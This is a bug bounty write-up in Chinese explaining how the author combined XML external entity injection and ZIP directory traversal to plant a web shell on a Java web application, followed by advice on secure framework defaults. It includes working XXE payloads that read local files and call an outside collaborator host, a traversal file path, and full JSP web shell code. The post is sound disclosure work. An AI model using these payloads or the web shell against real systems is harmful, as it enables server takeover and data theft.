双重格式攻击:利用不安全的XML与ZIP解析器创建Web Shell

本文详细分析了XML外部实体(XXE)和ZIP目录遍历漏洞的利用过程,通过实际案例展示如何组合这两种漏洞实现远程代码执行,最终在目标服务器部署Web Shell。

双重格式攻击:利用不安全的XML与ZIP解析器创建Web Shell

2020年2月18日 · 1578字 · 8分钟阅读

XML与ZIP——永恒的故事 🔗

在研究某个漏洞赏金目标时,我遇到了一个处理自定义文件类型的Web应用程序。我们暂且称这种文件类型为.xyz。快速谷歌搜索显示,.xyz文件类型实际上是一个ZIP文件,其中包含一个XML文件和其他媒体资源。XML文件作为清单,用于描述包的内容。

这是一种极其常见的自定义文件类型打包方式。例如,如果你尝试用unzip Document.docx解压Microsoft Word文件,你会得到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Archive:  Document.docx
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: word/_rels/document.xml.rels  
  inflating: word/document.xml       
  inflating: word/theme/theme1.xml   
  inflating: word/settings.xml       
  inflating: docProps/core.xml       
  inflating: word/fontTable.xml      
  inflating: word/webSettings.xml    
  inflating: word/styles.xml         
  inflating: docProps/app.xml        

这种模式的另一个著名例子是.apk Android应用文件,它本质上是一个包含AndroidManifest.xml清单文件和其他资源的ZIP文件。

然而,如果处理不当,这种打包模式会产生额外的安全问题。这些"漏洞"实际上是XML和ZIP格式内置的功能。责任落在XML和ZIP解析器上,需要安全地处理这些功能。不幸的是,这种情况很少发生,特别是当开发人员简单地使用默认设置时。

以下是这些"易受攻击功能"的快速概述。

XML外部实体 🔗

XML文件格式支持外部实体,允许XML文件从其他来源(如本地或远程文件)拉取数据。在某些情况下,这可能很有用,因为它使从各种来源导入数据更加方便。然而,在XML解析器接受用户定义输入的情况下,恶意用户可以从敏感的本地文件或内部网络主机拉取数据。

正如OWASP Foundation wiki所述:

当配置不当的XML处理器处理包含对外部实体引用的XML输入时,就会发生这种攻击…使用XML库的Java应用程序特别容易受到XXE攻击,因为大多数Java XML解析器的默认设置是启用XXE。要安全地使用这些解析器,你必须在你使用的解析器中显式禁用XXE。

就像我之前的远程代码执行报告一样,开发人员因易受攻击的默认设置而面临风险。

ZIP目录遍历 🔗

尽管ZIP目录遍历自该格式诞生以来就被利用,但这种攻击向量在2018年因Snyk笨拙命名的"Zip Slip"研究/营销活动而声名鹊起,该活动在许多流行的ZIP解析器库中发现了该漏洞。

攻击者可以利用包含目录遍历文件名(如../../../../evil1/evil2/evil.sh)的ZIP文件来利用此漏洞。当易受攻击的ZIP库尝试解压此文件时,它不是将evil.sh解压到临时目录,而是将其解压到攻击者定义的文件系统中的另一个位置(在这种情况下是/evil1/evil2)。如果攻击者覆盖cron作业脚本或在Web根目录中创建Web Shell,这很容易导致远程代码执行。

与XXE类似,ZIP目录遍历在Java中尤其常见:

该漏洞已在多个生态系统中发现,包括JavaScript、Ruby、.NET和Go,但在Java中尤其普遍,因为Java没有提供高级存档(例如zip)文件处理的中央库。缺乏这样的库导致易受攻击的代码片段被手工制作并在开发人员社区(如StackOverflow)中共享。

发现XXE 🔗

现在我们有了攻击的理论基础,让我们转到实践中的实际漏洞。该应用程序接受自定义文件类型的上传,解压它们,解析XML清单文件,并返回带有清单详细信息的确认页面。例如,如果mypackage.xyz是一个包含以下manifest.xml的ZIP文件:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<packageinfo>
    <title>My Awesome Package</title>
    <author>John Doe</author>
    <documentation>https://google.com</documentation>
    <rating>4.2</rating>
</packageinfo>

我会得到以下确认屏幕:

![确认页面截图]

我做的第一件事是测试XSS。关于通过XML注入XSS的一个提示是,XML不支持原始的<htmltags>,因为这会被解释为XML节点,所以你必须在XML中像&lt;htmltags&gt;这样转义它们。不幸的是,输出被正确清理了。

下一步是测试XXE。在这里,我犯了一个错误,开始测试远程外部实体:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE title [<!ENTITY xxe SYSTEM 'https://mycollab.burpcollaborator.net'>]>
<packageinfo>
    <title>My Awesome Package&xxe;</title>
    <author>John Doe</author>
    <documentation>https://google.com</documentation>
    <rating>4.2</rating>
</packageinfo>

我没有在我的Burp Collaborator实例上收到回ping,并立即假设XXE被阻止了。这是一个错误,因为你应该始终逐步测试,从非系统外部实体开始,逐步升级到本地文件,然后是远程文件。这有助于你在过程中消除各种可能性。毕竟,标准的防火墙规则会阻止出站Web连接,导致远程外部实体失败。然而,这并不一定意味着本地外部实体被阻止。

幸运的是,我决定稍后尝试本地外部实体:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE title [<!ENTITY xxe SYSTEM 'file:///etc/hosts'>]>
<packageinfo>
    <title>My Awesome Package&xxe;</title>
    <author>John Doe</author>
    <documentation>https://google.com</documentation>
    <rating>4.2</rating>
</packageinfo>

那时我发现了宝藏。/etc/hosts的内容出现在确认页面中。

![XXE成功截图]

转向RCE 🔗

通常在白帽黑客场景中,你会坚持非破坏性的概念证明并就此停止。通过XXE,我可以暴露本地数据库文件和几个包含管理员凭据的有趣Web日志。这足以写一份报告。

然而,还有另一个我想测试的漏洞:ZIP解析器。请记住,应用程序解压包,读取manifest.xml文件,并返回确认页面。我在第二步发现了XXE,这表明流程的其余部分可能存在额外的漏洞。

为了测试ZIP目录遍历,我使用了evilarc,一个简单的Python 2脚本,用于生成带有目录遍历payload的ZIP文件。我需要弄清楚我想在本地文件系统中的哪个位置放置我的遍历payload。在这里,XXE提供了帮助。本地外部实体不仅支持文件,还支持目录,所以如果我使用像file:///nameofdirectory这样的外部实体,而不是文件的内容,它会列出目录的内容。

通过稍微挖掘目录,我最终找到了一个位于/home/web/resources/templates/sitemap.jsp的文件。其内容与应用程序中的一个页面匹配 - https://vulnapp.com/sitemap。我将sitemap页面的内容与一个Web Shell一起压缩,作为../../../../../../home/web/resources/templates/sitemap.jsp放入我的包中。我通过一个秘密的URL参数隐藏Web Shell,以防止普通用户意外遇到它:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<%@ page import="java.util.*,java.io.*"%>
<%
    if (request.getParameter("spaceraccoon") != null) {
        out.println("Command: " + request.getParameter("spaceraccoon") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("spaceraccoon"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr); 
            disr = dis.readLine(); 
        }
        out.println("<BR>");
    }
%>
<ORIGINAL HTML CONTENTS OF SITEMAP>

我上传了我的包,浏览到https://vulnapp.com/sitemap?spaceraccooon=ls,然后…什么都没有。页面看起来完全一样。

有一句俗话:

精神错乱的定义是一遍又一遍地做同样的事情,却期待不同的结果。

这不适用于黑盒测试。延迟、缓存和Web的其他怪癖可能对相同的输入返回不同的输出。在这种情况下,服务器缓存了https://vulnapp.com/sitemap的原始版本,这就是为什么它最初返回没有我的Web Shell的页面。经过几次刷新后,我的Web Shell生效了,页面返回了Web根目录的内容以及sitemap页面的其余内容。我进去了。

约定优于配置 🔗

从报告中,你可能已经注意到我正在处理一个Java应用程序。这让我们回到OWASP和Snyk的警告,即Java特别容易错误处理XML和ZIP文件。由于不安全的默认设置和缺乏默认解析器的结合,开发人员被迫依赖随机的Stack Overflow片段或第三方库。

然而,Java并不是唯一的罪魁祸首。错误处理XML和ZIP文件发生在所有编程语言和框架中。开发人员被期望不遗余力地安全配置第三方库和API,这很容易将漏洞引入应用程序。开发人员只需要犯一个错误就可以在他们的应用程序中引入漏洞。这种可能性随着每一个额外的"黑盒"库而增加。

减少开发中漏洞的一种方法是Spotify的"黄金路径":

在Spotify,我们的工程策略之一是创建和推广使用"黄金路径"。黄金路径是在Spotify构建产品的受祝福的方式。它们由一组API、应用程序框架、最佳实践和运行时环境组成,允许Spotify工程师安全、可靠且大规模地开发和部署代码。我们通过帮助提高质量的选择加入程序来补充这些。从我们的漏洞赏金程序报告中,我们发现开发越遵循黄金路径,向我们报告的漏洞的可能性就越小。

这归结为简单的Ruby on Rails格言:“约定优于配置。”

与其依赖成千上万的工程师 individually记住Web应用程序安全的所有怪癖,不如专注于一套经过实战测试的框架和API,并减少不断调整这些设置的需要,这样效率更高。

幸运的是,组织可以通过坚持约定优于配置来系统地解决这个问题。

非常感谢漏洞赏金计划背后的安全团队,他们在不到12小时内修复了漏洞,并批准发布此报告。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计